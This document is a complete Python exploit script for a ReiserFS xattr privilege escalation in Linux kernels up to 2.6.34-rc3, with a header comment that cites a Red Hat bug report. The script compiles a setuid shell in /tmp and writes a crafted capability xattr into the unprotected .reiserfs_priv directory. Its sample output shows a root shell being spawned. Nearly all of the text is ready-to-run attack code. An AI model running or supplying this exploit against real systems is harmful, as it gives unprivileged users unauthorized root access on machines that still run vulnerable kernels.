Linux Kernel 2.6.34-rc3 ReiserFS xattr Privilege Escalation

`#!/usr/bin/env python  
  
'''  
team-edward.py  
  
Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation  
Jon Oberheide <[email protected]>  
http://jon.oberheide.org  
  
Information:  
  
https://bugzilla.redhat.com/show_bug.cgi?id=568041  
  
The kernel allows processes to access the internal ".reiserfs_priv"  
directory at the top of a reiserfs filesystem which is used to store  
xattrs. Permissions are not enforced in that tree, so unprivileged  
users can view and potentially modify the xattrs on arbitrary files.  
  
Usage:  
  
$ python team-edward.py  
[+] checking for reiserfs mount with user_xattr mount option  
[+] checking for private xattrs directory at /.reiserfs_priv/xattrs  
[+] preparing shell in /tmp  
[+] capturing pre-shell snapshot of private xattrs directory  
[+] compiling shell in /tmp  
[+] setting dummy xattr to get reiserfs object id  
[+] capturing post-shell snapshot of private xattrs directory  
[+] found 1 new object ids  
[+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468  
[+] spawning setuid shell...  
# id  
uid=0(root) gid=0(root) groups=4(adm), ...  
  
Notes:  
  
Obviously requires a ReiserFS filesystem mounted with extended attributes.  
Tested on Ubuntu Jaunty 9.10.  
'''  
  
import os, sys  
  
SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'  
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  
  
def err(txt):  
print '[-] error: %s' % txt  
sys.exit(1)  
  
def msg(txt):  
print '[+] %s' % txt  
  
def main():  
msg('checking for reiserfs mount with user_xattr mount option')  
  
f = open('/etc/fstab')  
for line in f:  
if 'reiserfs' in line and 'user_xattr' in line:  
break  
else:  
err('failed to find a reiserfs mount with user_xattr')  
f.close()  
  
msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')  
  
if not os.path.exists('/.reiserfs_priv/xattrs'):  
err('failed to locate private xattrs directory')  
  
msg('preparing shell in /tmp')  
  
f = open('/tmp/team-edward.c', 'w')  
f.write(SHELL)  
f.close()  
  
msg('capturing pre-shell snapshot of private xattrs directory')  
  
pre = set(os.listdir('/.reiserfs_priv/xattrs'))  
  
msg('compiling shell in /tmp')  
  
ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')  
if ret != 0:  
err('error compiling shell, you need gcc')  
  
msg('setting dummy xattr to get reiserfs object id')  
  
os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')  
if ret != 0:  
err('error setting xattr, you need setfattr')  
  
msg('capturing post-shell snapshot of private xattrs directory')  
  
post = set(os.listdir('/.reiserfs_priv/xattrs'))  
  
objs = post.difference(pre)  
  
msg('found %s new object ids' % len(objs))  
  
for obj in objs:  
msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)  
  
f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')  
f.write(XATTR)  
f.close()  
  
msg('spawning setuid shell...')  
  
os.system('/tmp/team-edward')  
  
if __name__ == '__main__':  
main()  
  
`